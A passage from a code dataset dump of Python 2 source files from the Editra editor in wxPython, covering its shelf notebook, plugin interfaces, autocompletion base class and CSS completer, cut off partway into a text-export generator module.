loaded\n if delegate.StockShelf(Profile_Get('SHELF_ITEMS', 'list', [])):\n delegate.SetPerspective(Profile_Get('SHELF_LAYOUT', 'str', u\"\"))\n delegate.SetSelection(Profile_Get('SHELF_SELECTION', 'int', -1))\n return delegate\n\n#--------------------------------------------------------------------------#\n\nclass EdShelfBook(ed_book.EdBaseBook):\n \"\"\"Shelf notebook control\"\"\"\n def __init__(self, parent):\n style = aui.AUI_NB_BOTTOM | \\\n aui.AUI_NB_TAB_SPLIT | \\\n aui.AUI_NB_SCROLL_BUTTONS | \\\n aui.AUI_NB_CLOSE_ON_ACTIVE_TAB | \\\n aui.AUI_NB_TAB_MOVE | \\\n aui.AUI_NB_DRAW_DND_TAB\n super(EdShelfBook, self).__init__(parent, style=style)\n\n # Attributes\n self._parent = parent\n self._open = dict()\n self._name2idx = dict() # For settings maintenance\n self._menu = ebmlib.ContextMenuManager()\n self._mcback = None\n\n # Setup\n self.SetSashDClickUnsplit(True)\n\n # Event Handlers\n self.Bind(aui.EVT_AUINOTEBOOK_TAB_RIGHT_UP, self.OnRightUp)\n self.Bind(aui.EVT_AUINOTEBOOK_BG_RIGHT_UP, self.OnRightUp)\n self.Bind(wx.EVT_WINDOW_DESTROY, self.OnDestroy, self)\n\n # Message handlers\n ed_msg.Subscribe(self.OnUpdateTabs, ed_msg.EDMSG_THEME_NOTEBOOK)\n ed_msg.Subscribe(self.OnUpdateTabs, ed_msg.EDMSG_THEME_CHANGED)\n\n def OnDestroy(self, evt):\n if evt.GetId() == self.GetId():\n self._menu.Clear()\n ed_msg.Unsubscribe(self.OnUpdateTabs)\n evt.Skip()\n\n def OnRightUp(self, evt):\n \"\"\"Show context menu\"\"\"\n self._menu.Clear()\n if self.MenuCallback:\n self._menu.Menu = self.MenuCallback()\n self.PopupMenu(self._menu.Menu)\n\n BitmapCallbacks = property(lambda self: self._name2idx)\n MenuCallback = property(lambda self: self._mcback,\n lambda self, funct: setattr(self, '_mcback', funct))\n\n def AddItem(self, item, name, bmp=wx.NullBitmap):\n \"\"\"Add an item to the shelf's notebook. This is useful for interacting\n with the Shelf from outside its interface. It may be necessary to\n call L{EnsureShelfVisible} before or after adding an item if you wish\n the shelf to be shown when the item is added.\n @param item: A panel like instance to add to the shelf's notebook\n @param name: Items name used for page text in notebook\n @keyword bmp: Tab bitmap to display\n\n \"\"\"\n self.AddPage(item, \n u\"%s - %d\" % (name, self._open.get(name, 0)),\n select=True)\n\n # Set the tab icon\n self.SetPageBitmap(self.GetPageCount()-1, bmp)\n self._open[name] = self._open.get(name, 0) + 1\n\n def EnsureShelfVisible(self):\n \"\"\"Make sure the Shelf is visible\n @precondition: Shelf.Init has been called\n @postcondition: Shelf is shown\n\n \"\"\"\n mgr = self._parent.GetFrameManager()\n pane = mgr.GetPane(Shelf.SHELF_NAME)\n if not pane.IsShown():\n pane.Show()\n mgr.Update()\n\n def GetCount(self, item_name):\n \"\"\"Get the number of open instances of a given Shelf Item\n @param item_name: Name of the Shelf item\n @return: number of instances on the Shelf\n\n \"\"\"\n count = 0\n for page in range(self.GetPageCount()):\n if self.GetPageText(page).startswith(item_name):\n count = count + 1\n return count\n\n def GetMainWindow(self):\n \"\"\"Get the main window that this shelf instance was created for\n @return: ed_main.MainWindow\n\n \"\"\"\n return self._parent\n\n def GetOpen(self):\n \"\"\"Get the list of open shelf items\n @return: list\n\n \"\"\"\n return self._open\n\n def Hide(self):\n \"\"\"Hide the shelf\n @postcondition: Shelf is hidden by aui manager\n\n \"\"\"\n mgr = self._parent.GetFrameManager()\n pane = mgr.GetPane(Shelf.SHELF_NAME)\n if pane.IsOk():\n pane.Hide()\n mgr.Update()\n\n def ItemIsOnShelf(self, item_name):\n \"\"\"Check if at least one instance of a given item\n is currently on the Shelf.\n @param item_name: name of Item to look for\n\n \"\"\"\n for page in xrange(self.GetPageCount()):\n if self.GetPageText(page).startswith(item_name):\n return True\n return False\n\n def IsShown(self):\n \"\"\"Is the shelf visible?\n @return: bool\n\n \"\"\"\n mgr = self._parent.GetFrameManager()\n pane = mgr.GetPane(Shelf.SHELF_NAME)\n if pane.IsOk():\n return pane.IsShown()\n else:\n return False\n\n def OnUpdateTabs(self, msg):\n \"\"\"Update all tab images depending upon current settings\"\"\"\n if not Profile_Get('TABICONS', default=True):\n for page in range(self.GetPageCount()):\n self.SetPageBitmap(page, wx.NullBitmap)\n else:\n # Show the icons\n for pnum in range(self.GetPageCount()):\n page = self.GetPage(pnum)\n bmp = self.BitmapCallbacks.get(repr(page.__class__), lambda:wx.NullBitmap)()\n self.SetPageBitmap(pnum, bmp)\n\n#--------------------------------------------------------------------------#\n\nclass EdShelfDelegate(object):\n \"\"\"Delegate class to mediate between the plugin singleton object and the\n UI implementation.\n\n \"\"\"\n def __init__(self, shelf, pobject):\n \"\"\"Create the delegate object\n @param shelf: Ui component instance\n @param pobject: Reference to the plugin object\n\n \"\"\"\n super(EdShelfDelegate, self).__init__()\n\n # Attributes\n self._log = wx.GetApp().GetLog()\n self._shelf = shelf\n self._pin = pobject\n\n # Setup\n self._shelf.MenuCallback = getattr(self, 'GetShelfObjectMenu')\n\n @property\n def observers(self):\n return self._pin.observers\n\n def AddItem(self, item, name, bmp=wx.NullBitmap):\n \"\"\"Add an item to the shelf\"\"\"\n self._shelf.AddItem(item, name, bmp)\n\n def CanStockItem(self, item_name):\n \"\"\"See if a named item can be stocked or not, meaning if it\n can be saved and opened in the next session or not.\n @param item_name: name of item to check\n @return: bool whether item can be stocked or not\n\n \"\"\"\n for item in self.observers:\n if item_name == item.GetName():\n if hasattr(item, 'IsStockable'):\n return item.IsStockable()\n else:\n break\n return False\n\n def EnsureShelfVisible(self):\n \"\"\"Ensure the shelf is visible\"\"\"\n self._shelf.EnsureShelfVisible()\n\n def GetItemById(self, itemid):\n \"\"\"Get the shelf item by its id\n @param itemid: Shelf item id\n @return: reference to a ShelfI object\n\n \"\"\"\n for item in self.observers:\n if item.GetId() == itemid:\n return item\n return None\n\n def GetItemId(self, item_name):\n \"\"\"Get the id that identifies a given item\n @param item_name: name of item to get ID for\n @return: integer id or None if not found\n\n \"\"\"\n for item in self.observers:\n if item_name == item.GetName():\n return item.GetId()\n return None\n\n def GetItemStack(self):\n \"\"\"Returns a list of ordered named items that are open in the shelf\n @return: list of strings\n\n \"\"\"\n rval = list()\n if self._shelf is not None:\n for page in xrange(self._shelf.GetPageCount()):\n rval.append(re.sub(PGNUM_PAT, u'', \n self._shelf.GetPageText(page), 1))\n return rval\n\n def GetSelection(self):\n \"\"\"Get the index of the currently selected tab\"\"\"\n if self._shelf:\n return self._shelf.GetSelection()\n return -1\n\n def GetPerspective(self):\n \"\"\"Get the auinotebook perspective data\n @return: string\n\n \"\"\"\n return self._shelf.SavePerspective()\n\n def SetPerspective(self, pdata):\n \"\"\"Set the aui notebooks perspective and layout\n @param pdata: perspective data string\n\n \"\"\"\n if pdata:\n try:\n self._shelf.LoadPerspective(pdata)\n self._shelf.Update()\n except Exception, msg:\n self._log(\"[shelf][err] Failed LoadPerspective: %s\" % msg)\n\n def GetShelfObjectMenu(self):\n \"\"\"Get the minimal menu that lists all Shelf objects\n without the 'Show Shelf' item.\n @return: ed_menu.EdMenu\n\n \"\"\"\n menu = ed_menu.EdMenu()\n menu_items = list()\n open_items = self._shelf.GetOpen()\n for observer in self.observers:\n # Register Observers\n open_items[observer.GetName()] = 0\n try:\n menu_i = observer.GetMenuEntry(menu)\n if menu_i is not None:\n menu_items.append((menu_i.GetItemLabel(), menu_i))\n except Exception, msg:\n self._log(\"[shelf][err] %s\" % str(msg))\n menu_items.sort()\n\n combo = 0\n for item in menu_items:\n combo += 1\n shortcut = u\"\"\n if combo < 10:\n shortcut = u\"\\tCtrl+Alt+\" + unicode(combo)\n nitem = menu.Append(item[1].Id, item[1].GetText() + shortcut)\n if item[1].Bitmap.IsOk():\n nitem.SetBitmap(item[1].Bitmap)\n item[1].Destroy()\n return menu\n\n def GetMenu(self):\n \"\"\"Return the menu of this object\n @return: ed_menu.EdMenu()\n\n \"\"\"\n menu = self.GetShelfObjectMenu()\n menu.Insert(0, wx.ID_SEPARATOR)\n menu.Insert(0, ed_glob.ID_SHOW_SHELF, _(\"Show Shelf\") + \\\n ed_menu.EdMenuBar.keybinder.GetBinding(ed_glob.ID_SHOW_SHELF), \n _(\"Show the Shelf\"))\n return menu\n\n def GetOwnerWindow(self):\n \"\"\"Return the L{ed_main.MainWindow} instance that owns/created\n this Shelf.\n @return: reference to ed_main.MainWindow or None\n\n \"\"\"\n return self._shelf.GetMainWindow()\n\n def GetWindow(self):\n \"\"\"Return reference to the Shelfs window component\n @return: AuiNotebook\n\n \"\"\"\n return self._shelf\n\n def OnGetShelfItem(self, evt):\n \"\"\"Handles menu events that have been registered\n by the Shelf Items on the Shelf.\n @param evt: Event that called this handler\n\n \"\"\"\n e_id = evt.GetId()\n if e_id == ed_glob.ID_SHOW_SHELF:\n parent = self.GetOwnerWindow()\n if self._shelf.IsShown():\n self._shelf.Hide()\n nb = parent.GetNotebook()\n nb.GetCurrentCtrl().SetFocus()\n else:\n self._shelf.EnsureShelfVisible()\n mgr = parent.GetFrameManager()\n pane = mgr.GetPane(Shelf.SHELF_NAME)\n if pane is not None:\n page = pane.window.GetCurrentPage()\n if hasattr(page, 'SetFocus'):\n page.SetFocus()\n else:\n self.PutItemOnShelf(evt.GetId())\n\n def OnPutShelfItemAway(self, evt):\n \"\"\"Handles when an item is closed\n @param evt: event that called this handler\n @todo: is this needed?\n\n \"\"\"\n raise NotImplementedError\n\n def PutItemOnShelf(self, shelfid):\n \"\"\"Put an item on the shelf by using its unique shelf id.\n This is only for use with loading items implementing the\n L{ShelfI} interface. See L{AddItem} if you wish to pass\n a panel to the shelf to add.\n @param shelfid: id of the ShelfItem to open\n\n \"\"\"\n item = None\n for shelfi in self.observers:\n if shelfi.GetId() == shelfid:\n item = shelfi\n break\n\n if item is None:\n return\n\n name = item.GetName()\n if self._shelf.ItemIsOnShelf(name) and \\\n not item.AllowMultiple() or self._shelf is None:\n return\n else:\n self.EnsureShelfVisible()\n window = item.CreateItem(self._shelf)\n bmp = wx.NullBitmap\n if hasattr(item, 'GetBitmap'):\n self._shelf.BitmapCallbacks[repr(window.__class__)] = item.GetBitmap\n bmp = item.GetBitmap()\n else:\n self._shelf.BitmapCallbacks[repr(window.__class__)] = lambda:wx.NullBitmap\n self.AddItem(window, name, bmp)\n\n def RaiseItem(self, item_name):\n \"\"\"Set the selection in the notebook to be the that of the first\n instance of item_name that is found in the shelf.\n @param item_name: ShelfI name\n @return: reference to the selected page or None if no instance is\n\n \"\"\"\n for page in xrange(self._shelf.GetPageCount()):\n if self._shelf.GetPageText(page).startswith(item_name):\n self._shelf.SetSelection(page)\n return self._shelf.GetPage(page)\n else:\n return None\n\n def RaiseWindow(self, window):\n \"\"\"Set the selection in the notebook to be the that of the given\n window. Mostly used internally by items implementing L{ShelfI}.\n @param window: Window object\n @return: reference to the selected page or None if no instance is\n\n \"\"\"\n for page in range(self._shelf.GetPageCount()):\n ctrl = self._shelf.GetPage(page)\n if window == ctrl:\n self._shelf.SetSelection(page)\n return ctrl\n else:\n return None\n\n def SetSelection(self, index):\n \"\"\"Select an item in the Shelf window\n @param index: shelf tab index\n\n \"\"\"\n if self._shelf and index > 0 and index < self._shelf.GetPageCount():\n try:\n self._shelf.SetSelection(index)\n except Exception, msg:\n self._log(\"[shelf][err] Failed SetSelection: %s\" % msg)\n\n def StockShelf(self, i_list):\n \"\"\"Fill the shelf by opening an ordered list of items\n @param i_list: List of named L{ShelfI} instances\n @type i_list: list of strings\n @return: bool (True if all loaded / False otherwise)\n\n \"\"\"\n bLoaded = True\n for item in i_list:\n if self.CanStockItem(item):\n itemid = self.GetItemId(item)\n if itemid:\n self.PutItemOnShelf(itemid)\n else:\n bLoaded = False\n else:\n bLoaded = False\n return bLoaded\n\n def UpdateShelfMenuUI(self, evt):\n \"\"\"Enable/Disable shelf items based on whether they support\n muliple instances or not.\n @param evt: wxEVT_UPDATEUI\n\n \"\"\"\n item = self.GetItemById(evt.GetId())\n if item is None:\n evt.Skip()\n return\n\n count = self._shelf.GetCount(item.GetName())\n if count and not item.AllowMultiple():\n evt.Enable(False)\n else:\n evt.Enable(True)\n", "id": "6595532", "language": "Python", "matching_score": 6.147983551025391, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_shelf.py" }, { "content": "###############################################################################\n# Name: iface.py #\n# Purpose: Plugin interface definitions #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nThis module contains numerous plugin interfaces and the Extension points that\nthey extend. Included below is a list of interfaces available in this module.\n\nIntefaces:\n - ShelfI: Interface into the L{Shelf}\n - MainWindowI: Interface into L{ed_main.MainWindow}\n - AutoCompI: Interface for adding autocompletion helpers\n\n@summary: Main Plugin interface defintions\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: iface.py 63069 2010-01-05 01:24:16Z CJP $\"\n__revision__ = \"$Revision: 63069 $\"\n\n#--------------------------------------------------------------------------#\n# Imports\nimport wx\n\n# Local Imports\nimport plugin\n\n#--------------------------------------------------------------------------#\n\nclass AutoCompI(plugin.Interface):\n \"\"\"The Autocompletion interface.\n\n \"\"\"\n def GetCompleter(self, buff):\n \"\"\"Get the completer object implemented by this plugin\n @param: buff EditraStc instance\n @return: instance of autocomp.BaseCompleter\n\n \"\"\"\n raise NotImplementedError\n\n def GetFileTypeId(self):\n \"\"\"Get the filetype this completer is associated with\n @return: int\n\n \"\"\"\n return 0\n\n#--------------------------------------------------------------------------#\n\nclass MainWindowI(plugin.Interface):\n \"\"\"The MainWindow Interface is intended as a simple general purpose\n interface for adding functionality to the main window. It does little\n managing of how objects that implement it are handled, most is left up to\n the plugin. Some examples of plugins using this interface are the\n FileBrowser and Calculator plugins.\n\n \"\"\"\n def PlugIt(self, window):\n \"\"\"This method is called once and only once per window when it is \n created. It should typically be used to register menu entries, \n bind event handlers and other similar actions.\n\n @param window: The parent window of the plugin\n @postcondition: The plugins controls are installed in the L{MainWindow}\n\n \"\"\"\n raise NotImplementedError\n\n def GetMenuHandlers(self):\n \"\"\"Get menu event handlers/id pairs. This function should return a\n list of tuples containing menu ids and their handlers. The handlers\n should be not be a member of this class but a member of the ui component\n that they handler acts upon.\n \n \n @return: list [(ID_FOO, foo.OnFoo), (ID_BAR, bar.OnBar)]\n\n \"\"\"\n pass\n\n def GetUIHandlers(self):\n \"\"\"Get update ui event handlers/id pairs. This function should return a\n list of tuples containing object ids and their handlers. The handlers\n should be not be a member of this class but a member of the ui component\n that they handler acts upon.\n \n \n @return: list [(ID_FOO, foo.OnFoo), (ID_BAR, bar.OnBar)]\n\n \"\"\"\n pass\n\n#-----------------------------------------------------------------------------#\n\nclass ShelfI(plugin.Interface):\n \"\"\"Interface into the L{Shelf}. All plugins wanting to be\n placed on the L{Shelf} should implement this interface.\n\n \"\"\"\n def AllowMultiple(self):\n \"\"\"This method is used to check if multiple instances of this\n item are allowed to be open at one time.\n @return: True/False\n @rtype: boolean\n\n \"\"\"\n return True\n\n def CreateItem(self, parent):\n \"\"\"This is them method used to open the item in the L{Shelf}\n It should return an object that is a Panel or subclass of a Panel.\n @param parent: The would be parent window of this panel\n @return: wx.Panel\n\n \"\"\"\n raise NotImplementedError\n\n def GetBitmap(self):\n \"\"\"Get the bitmap to show in the shelf for this item\n @return: wx.Bitmap\n @note: this method is optional\n\n \"\"\"\n return wx.NullBitmap\n\n def GetId(self):\n \"\"\"Return the id that identifies this item (same as the menuid)\n @return: Item ID\n @rtype: int\n\n \"\"\"\n raise NotImplementedError\n\n def GetMenuEntry(self, menu):\n \"\"\"Returns the menu entry associated with this item\n @param menu: The menu this entry will be added to\n @return: wx.MenuItem or None if no menu entry is needed\n\n \"\"\"\n raise NotImplementedError\n\n def GetName(self):\n \"\"\"Return the name of this shelf item. This should be the\n same as the MenuEntry's label.\n @return: name of item\n @rtype: string\n\n \"\"\"\n raise NotImplementedError\n\n def InstallComponents(self, mainw):\n \"\"\"Called by the Shelf when the plugin is created to allow it\n to install any extra components that it may have that fall outside\n the normal interface. This method is optional and does not need\n to be implimented if it is not needed.\n @param mainw: MainWindow Instance\n\n \"\"\"\n pass\n\n def IsStockable(self):\n \"\"\"Return whether this item type is stockable. The shelf saves\n what pages it had open the last time the program was run and then\n reloads the pages the next time the program starts. If this\n item can be reloaded between sessions return True otherwise return\n False.\n\n \"\"\"\n return True\n\n#-----------------------------------------------------------------------------#\n", "id": "2645705", "language": "Python", "matching_score": 2.1002252101898193, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/iface.py" }, { "content": "###############################################################################\n# Name: completer.py #\n# Purpose: Autcompleter interface base class. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2009 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nBase class for autocompletion providers to implement the completion interface.\n\n@summary: Autocompleter base class\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: completer.py 67701 2011-05-04 20:50:14Z CJP $\"\n__revision__ = \"$Revision: 67701 $\"\n\n__all__ = [ 'TYPE_FUNCTION', 'TYPE_METHOD', 'TYPE_CLASS', 'TYPE_ATTRIBUTE',\n 'TYPE_VARIABLE', 'TYPE_ELEMENT', 'TYPE_PROPERTY', 'TYPE_UNKNOWN',\n 'BaseCompleter', 'Symbol', 'CreateSymbols' ]\n\n#--------------------------------------------------------------------------#\n# Imports\nimport wx\n\n#--------------------------------------------------------------------------#\n\n# Image Type Ids\nTYPE_FUNCTION, \\\nTYPE_METHOD, \\\nTYPE_CLASS, \\\nTYPE_ATTRIBUTE, \\\nTYPE_PROPERTY, \\\nTYPE_VARIABLE, \\\nTYPE_ELEMENT, \\\nTYPE_UNKNOWN = range(1, 9)\n\n#--------------------------------------------------------------------------#\nclass Symbol(object):\n \"\"\" Defines a symbol as parsed by the autocompleter.\n Symbols with the same name and different type are EQUAL\n Symbol hash is based on symbol NAME\n \n \"\"\"\n # we create lots of these so use slots as a performance tweak\n __slots__ = ('_name', '_type')\n\n def __init__(self, name, symtype):\n \"\"\" Constructor\n @param name: Symbol name\n @param symtype: Symbol type, one of the TYPE_FUNCTION ... TYPE_UNKNOWN range\n \n \"\"\"\n super(Symbol, self).__init__()\n\n # Attributes\n self._name = unicode(name)\n self._type = symtype\n \n def __eq__(self, other):\n return (self.Name == other.Name)\n\n def __lt__(self, other):\n return (self.Name < other.Name)\n\n def __le__(self, other):\n return (self.Name <= other.Name)\n\n def __ne__(self, other):\n return (self.Name != other.Name)\n\n def __gt__(self, other):\n return (self.Name > other.Name)\n\n def __ge__(self, other):\n return (self.Name >= other.Name)\n\n # TODO: this task should probably be delegated to the ui\n def __str__(self):\n if self.Type != TYPE_UNKNOWN:\n return u'?'.join([self.Name, unicode(self.Type)])\n else:\n return self.Name\n\n def __hash__(self):\n return hash(self.Name)\n\n Name = property(lambda self: self._name,\n lambda self, n: setattr(self, '_name', n))\n Type = property(lambda self: self._type,\n lambda self, t: setattr(self, '_type', t))\n\n#--------------------------------------------------------------------------#\n\ndef CreateSymbols(arglst, symtype=TYPE_UNKNOWN):\n \"\"\"Convert a list of strings to a list of Symbol objects\n @param arglst: list of strings\n @keyword symtype: TYPE_FOO \n @return: list of Symbols\n\n \"\"\"\n return [ Symbol(obj, symtype) for obj in arglst ]\n\n#--------------------------------------------------------------------------#\n\nclass BaseCompleter(object):\n \"\"\"Base Autocomp provider class\"\"\"\n def __init__(self, parent):\n \"\"\"Initializes the auto-completion service\n @param parent: parent of this service object\n\n \"\"\"\n super(BaseCompleter, self).__init__()\n\n # Attributes\n self._buffer = parent\n self._log = wx.GetApp().GetLog()\n self._case_sensitive = False\n self._autocomp_after = False\n self._choose_single = True\n\n self._autocomp_keys = list()\n self._autocomp_stop = u''\n self._autocomp_fillup = u''\n self._calltip_keys = list()\n self._calltip_cancel = list()\n\n #--- Override in subclass ----#\n\n def GetAutoCompList(self, command):\n \"\"\"Retrieves the sorted autocomplete list for a command\n @param command: command string to do lookup on\n @return: list of strings\n\n \"\"\"\n return list()\n\n def GetCallTip(self, command):\n \"\"\"Returns the calltip string for a command\n @param command: command to get calltip for (string)\n @return: string\n\n \"\"\"\n return u''\n\n def OnCompletionInserted(self, pos, text):\n \"\"\"Called by the buffer when an autocomp selection has been inserted.\n The completer can override this method to \n @param pos: Position the caret was at before the insertion\n @param text: text that was inserted at pos\n\n \"\"\"\n pass\n\n #--- End override in subclass ----#\n\n def GetAutoCompKeys(self):\n \"\"\"Returns the list of key codes for activating the autocompletion.\n @return: list of characters used for activating autocompletion\n\n \"\"\"\n return self._autocomp_keys\n\n def SetAutoCompKeys(self, key_list):\n \"\"\"Set the keys to provide completions on\n @param key_list: List of key codes\n\n \"\"\"\n self._autocomp_keys = key_list\n\n def GetAutoCompStops(self):\n \"\"\"Returns a string of characters that should cancel\n the autocompletion lookup.\n @return: string of characters that will hide the autocomp/calltip\n\n \"\"\"\n return self._autocomp_stop\n\n def SetAutoCompStops(self, stops):\n \"\"\"Set the keys to cancel autocompletions on.\n @param stops: string\n\n \"\"\"\n self._autocomp_stop = stops\n\n def GetAutoCompFillups(self):\n \"\"\"Get the list of characters to do a fillup on\n @return: string\n\n \"\"\"\n return self._autocomp_fillup\n\n def SetAutoCompFillups(self, fillups):\n \"\"\"Set the list of characters to do a fillup on\n @param fillups: string\n\n \"\"\"\n self._autocomp_fillup = fillups\n\n def GetCallTipKeys(self):\n \"\"\"Returns the list of keys to activate a calltip on\n @return: list of calltip activation keys\n\n \"\"\"\n return self._calltip_keys\n\n def SetCallTipKeys(self, keys):\n \"\"\"Set the list of keys to activate calltips on\n @return: list of calltip activation keys\n\n \"\"\"\n self._calltip_keys = keys\n\n def GetCallTipCancel(self):\n \"\"\"Get the list of key codes that should stop a calltip\"\"\"\n return self._calltip_cancel\n\n def SetCallTipCancel(self, key_list):\n \"\"\"Set the list of key codes that should stop a calltip\"\"\"\n self._calltip_cancel = key_list\n\n def GetBuffer(self):\n \"\"\"Get the reference to the buffer this autocomp object is owned by\n @return: EditraStc\n\n \"\"\"\n return self._buffer\n\n def GetCaseSensitive(self):\n \"\"\"Are commands case sensitive or not\n @return: bool\n\n \"\"\"\n return self._case_sensitive\n\n def SetCaseSensitive(self, sensitive):\n \"\"\"Set whether this completer is case sensitive or not\n @param sensitive: bool\n\n \"\"\"\n self._case_sensitive = sensitive\n\n def GetChooseSingle(self):\n \"\"\"Get whether the completer should automatically choose a selection\n when there is only one symbol in the completion list.\n @return: bool\n\n \"\"\"\n return self._choose_single\n\n def SetChooseSingle(self, single):\n \"\"\"Set whether the completer should automatically choose a selection\n when there is only one symbol in the completion list.\n @param single: bool\n\n \"\"\"\n self._choose_single = single\n\n def ShouldCheck(self, cpos):\n \"\"\"Should completions be attempted\n @param cpos: current buffer position\n @return: bool\n\n \"\"\"\n buff = self.GetBuffer()\n rval = True\n if buff is not None:\n if buff.IsString(cpos) or buff.IsComment(cpos):\n rval = False\n return rval\n", "id": "5883324", "language": "Python", "matching_score": 4.862563610076904, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/autocomp/completer.py" }, { "content": "###############################################################################\n# Name: csscomp.py #\n# Purpose: Simple input assistant for CSS #\n# Author: <NAME> #\n# Copyright: (c) 2009 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nSimple autocompletion support for Cascading Style Sheets.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: csscomp.py 67123 2011-03-04 00:02:35Z CJP $\"\n__revision__ = \"$Revision: 67123 $\"\n\n#--------------------------------------------------------------------------#\n# Imports\nimport re\nimport wx\nimport wx.stc\n\n# Local Imports\nimport completer\n\n#--------------------------------------------------------------------------#\n\n# Regular Expressions\nRE_LINK_PSEUDO = re.compile(\"a:(link|visited|active|hover|focus)*\")\nRE_CSS_COMMENT = re.compile(\"\\/\\*[^*]*\\*+([^/][^*]*\\*+)*\\/\")\nRE_CSS_BLOCK = re.compile(\"\\{[^}]*\\}\")\n\nPSUEDO_SYMBOLS = completer.CreateSymbols([ u'active', u'focus', u'hover', \n u'link', u'visited' ],\n )\n\n#--------------------------------------------------------------------------#\n\nclass Completer(completer.BaseCompleter):\n \"\"\"CSS Code completion provider\"\"\"\n def __init__(self, stc_buffer):\n super(Completer, self).__init__(stc_buffer)\n\n # Setup\n self.SetAutoCompKeys([ord(':'), ord('.') ])\n self.SetAutoCompStops(' {}#')\n self.SetAutoCompFillups('')\n self.SetCallTipKeys([ord('('), ])\n self.SetCallTipCancel([ord(')'), wx.WXK_RETURN])\n \n def GetAutoCompList(self, command):\n \"\"\"Returns the list of possible completions for a\n command string. If namespace is not specified the lookup\n is based on the locals namespace\n @param command: command lookup is done on\n @keyword namespace: namespace to do lookup in\n\n \"\"\"\n buff = self.GetBuffer()\n keywords = buff.GetKeywords()\n if command in [None, u'']:\n return completer.CreateSymbols(keywords, completer.TYPE_UNKNOWN)\n\n cpos = buff.GetCurrentPos()\n cline = buff.GetCurrentLine()\n lstart = buff.PositionFromLine(cline)\n tmp = buff.GetTextRange(lstart, cpos).rstrip()\n\n # Check for the case of a pseudo class\n if IsPsuedoClass(command, tmp):\n return PSUEDO_SYMBOLS\n\n # Give some help on some common properties\n if tmp.endswith(u':'):\n word = GetWordLeft(tmp.rstrip().rstrip(u':'))\n comps = PROP_OPTS.get(word, list())\n comps = list(set(comps))\n comps.sort()\n return completer.CreateSymbols(comps, completer.TYPE_PROPERTY)\n\n # Look for if we are completing a tag class\n if tmp.endswith(u'.'):\n classes = list()\n if not buff.IsString(cpos):\n txt = buff.GetText()\n txt = RE_CSS_COMMENT.sub(u'', txt)\n txt = RE_CSS_BLOCK.sub(u' ', txt)\n for token in txt.split():\n if u'.' in token:\n classes.append(token.split(u'.', 1)[-1])\n\n classes = list(set(classes))\n classes.sort()\n return completer.CreateSymbols(classes, completer.TYPE_CLASS)\n\n return completer.CreateSymbols(keywords, completer.TYPE_UNKNOWN)\n\n def GetCallTip(self, command):\n \"\"\"Returns the formated calltip string for the command.\n If the namespace command is unset the locals namespace is used.\n\n \"\"\"\n if command == u'url':\n return u'url(\\'../path\\')'\n else:\n return u''\n\n def ShouldCheck(self, cpos):\n \"\"\"Should completions be attempted\n @param cpos: current buffer position\n @return: bool\n\n \"\"\"\n buff = self.GetBuffer()\n rval = True\n if buff is not None:\n if buff.IsComment(cpos):\n rval = False\n return rval\n\n#--------------------------------------------------------------------------#\n\ndef IsPsuedoClass(cmd, line):\n \"\"\"Check the line to see if its a link pseudo class\n @param cmd: current command\n @param line: line of the command\n @return: bool\n\n \"\"\"\n if cmd.endswith(u':'):\n token = line.split()[-1]\n pieces = token.split(u\":\")\n if pieces[0] == 'a' or pieces[0].startswith('a.'):\n return True\n return False\n\ndef GetWordLeft(line):\n \"\"\"Get the first valid word to the left of the end of line\n @return: string\n\n \"\"\"\n for idx in range(1, len(line)+1):\n ch = line[idx*-1]\n if ch.isspace() or ch in u'{;':\n return line[-1*idx:].strip()\n else:\n return u''\n\n#--------------------------------------------------------------------------#\n\n# Properties to provide some input help on\nPROP_OPTS = { u'border-style' : [u'none', u'hidden', u'dotted', u'dashed',\n u'solid', u'double', u'groove', u'ridge',\n u'inset', u'outset'],\n u'float' : [u'left', u'right', u'none'],\n u'font-style' : [u'normal', u'italic', u'oblique'],\n u'font-weight' : [u'normal', u'bold', u'lighter', u'bolder'],\n u'list-style-type' : [u'none', u'disc', u'circle', u'square',\n u'decimal', u'decimal-leading-zero',\n u'lower-roman', u'upper-roman',\n u'lower-alpha', u'upper-alpha',\n u'lower-greek', u'lower-latin', u'hebrew',\n u'armenian', u'georgian', u'cjk-ideographic',\n u'hiragana', u'katakana',\n u'hiragana-iroha', u'katakana-iroha'],\n u'text-decoration' : [u'none', u'underline', u'line-through',\n u'overline', u'blink'],\n u'text-align' : [u'left', u'right', u'center', u'justify'],\n u'vertical-align' : [u'baseline', u'sub', u'super', u'top',\n u'text-top', u'middle', u'bottom',\n u'text-bottom', ]\n }\n\n", "id": "2847306", "language": "Python", "matching_score": 2.1134085655212402, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/autocomp/csscomp.py" }, { "content": "###############################################################################\n# Name: generator.py #\n# Purpose: Utility classes for creating various formatted plain text #\n# from the contents of a EdStc text buffer (i.e HTML, LaTeX, Rtf) #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nProvides various methods and classes for generating code and transforming code\nto different formats such as html, latex, rtf with all the styling and formating\nintact from how the view is shown in the editor.\n\nIt also provides a plugin interface that allows for plugins that wish to provide\nsimilar services for manipulating and transforming text.\n\n@summary: Editra's Generator interface and implementations\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: generator.py 66957 2011-02-18 22:20:00Z CJP $\"\n__revision__ = \"$Revision: 66957 $\"\n\n#--------------------------------------------------------------------------#\n# Imports\nimport wx\nimport wx.stc\nimport time\n\n# Editra Libraries\nimport ed_glob\nimport ed_menu\nfrom ed_style import StyleItem\nimport util\nimport plugin\nimport ebmlib\nimport eclib\n\n#--------------------------------------------------------------------------#\n# Globals\n_ = 